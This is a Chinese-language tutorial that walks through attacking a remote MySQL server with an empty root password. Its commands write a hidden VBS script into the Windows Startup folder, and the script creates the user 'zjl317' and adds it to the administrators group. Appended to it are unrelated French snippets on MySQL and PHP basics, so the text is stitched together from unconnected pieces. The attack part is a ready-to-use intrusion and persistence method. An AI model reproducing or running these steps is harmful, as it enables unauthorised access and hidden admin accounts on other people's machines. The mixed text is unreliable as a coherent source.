MySQL用户root密码为空的另类攻击方法_MySQL
1、连接到对方mysql 服务器
mysql -u root -h 192.168.0.1
mysql.exe 这个程序在你安装了mysql的的bin目录中
2、让我们来看看服务器中有些什么数据库
mysql>show databases;
mysql默认安装时会有mysql、test这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库。
3、让我们进入数据库
mysql>use test;
我们将会进入test数据库中
4、查看我们进入数据库中有些什么数据表
mysql>show tables;
默认的情况下,test中没有任何表的存在。
以下为关键的部分
5、在test数据库下创建一个新的表;
mysql>create table a (cmd text);
好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。
6、在表中插入内容
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user zjl317 zjl317 /add""0) " );
mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators zjl317 /add""0) " );
注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个vbs的脚本程序!
7、好了,现在我们来看看表a中有些什么
mysql>select * from a;
我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步
8、输出表为一个vbs的脚本文件
mysql>select * from a into outfile "c://docume~1//alluse~1//「开始」菜单//程序//启动//a.vbs";
我们把我们表中的内容输入到启动组中,是一个vbs的脚本文件!注意“/"符号。
9、看到这大家肯定知道了,就是利用mysql输出一个可执行的文件而已。为什么不用bat呢,因为启动运行时会有明显的dos窗口出来,而用vbs脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!

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Compétences en matière de traitement de la structure des Big Data : Chunking : décomposez l'ensemble de données et traitez-le en morceaux pour réduire la consommation de mémoire. Générateur : générez des éléments de données un par un sans charger l'intégralité de l'ensemble de données, adapté à des ensembles de données illimités. Streaming : lisez des fichiers ou interrogez les résultats ligne par ligne, adapté aux fichiers volumineux ou aux données distantes. Stockage externe : pour les ensembles de données très volumineux, stockez les données dans une base de données ou NoSQL.

Les performances des requêtes MySQL peuvent être optimisées en créant des index qui réduisent le temps de recherche d'une complexité linéaire à une complexité logarithmique. Utilisez PreparedStatements pour empêcher l’injection SQL et améliorer les performances des requêtes. Limitez les résultats des requêtes et réduisez la quantité de données traitées par le serveur. Optimisez les requêtes de jointure, notamment en utilisant des types de jointure appropriés, en créant des index et en envisageant l'utilisation de sous-requêtes. Analyser les requêtes pour identifier les goulots d'étranglement ; utiliser la mise en cache pour réduire la charge de la base de données ; optimiser le code PHP afin de minimiser les frais généraux.

La sauvegarde et la restauration d'une base de données MySQL en PHP peuvent être réalisées en suivant ces étapes : Sauvegarder la base de données : Utilisez la commande mysqldump pour vider la base de données dans un fichier SQL. Restaurer la base de données : utilisez la commande mysql pour restaurer la base de données à partir de fichiers SQL.

Comment insérer des données dans une table MySQL ? Connectez-vous à la base de données : utilisez mysqli pour établir une connexion à la base de données. Préparez la requête SQL : Écrivez une instruction INSERT pour spécifier les colonnes et les valeurs à insérer. Exécuter la requête : utilisez la méthode query() pour exécuter la requête d'insertion en cas de succès, un message de confirmation sera généré.

L'un des changements majeurs introduits dans MySQL 8.4 (la dernière version LTS en 2024) est que le plugin « MySQL Native Password » n'est plus activé par défaut. De plus, MySQL 9.0 supprime complètement ce plugin. Ce changement affecte PHP et d'autres applications

Pour utiliser les procédures stockées MySQL en PHP : Utilisez PDO ou l'extension MySQLi pour vous connecter à une base de données MySQL. Préparez l'instruction pour appeler la procédure stockée. Exécutez la procédure stockée. Traitez le jeu de résultats (si la procédure stockée renvoie des résultats). Fermez la connexion à la base de données.

La création d'une table MySQL à l'aide de PHP nécessite les étapes suivantes : Connectez-vous à la base de données. Créez la base de données si elle n'existe pas. Sélectionnez une base de données. Créer un tableau. Exécutez la requête. Fermez la connexion.

La base de données Oracle et MySQL sont toutes deux des bases de données basées sur le modèle relationnel, mais Oracle est supérieur en termes de compatibilité, d'évolutivité, de types de données et de sécurité ; tandis que MySQL se concentre sur la vitesse et la flexibilité et est plus adapté aux ensembles de données de petite et moyenne taille. ① Oracle propose une large gamme de types de données, ② fournit des fonctionnalités de sécurité avancées, ③ convient aux applications de niveau entreprise ; ① MySQL prend en charge les types de données NoSQL, ② a moins de mesures de sécurité et ③ convient aux applications de petite et moyenne taille.
